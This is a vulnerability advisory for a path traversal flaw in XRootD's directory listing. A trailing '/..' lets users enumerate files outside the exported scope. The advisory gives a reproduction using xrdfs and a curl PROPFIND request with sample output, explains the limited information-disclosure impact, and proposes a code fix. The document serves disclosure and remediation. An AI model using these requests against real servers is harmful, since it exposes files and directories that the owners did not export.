xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

• Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

• Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

• Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;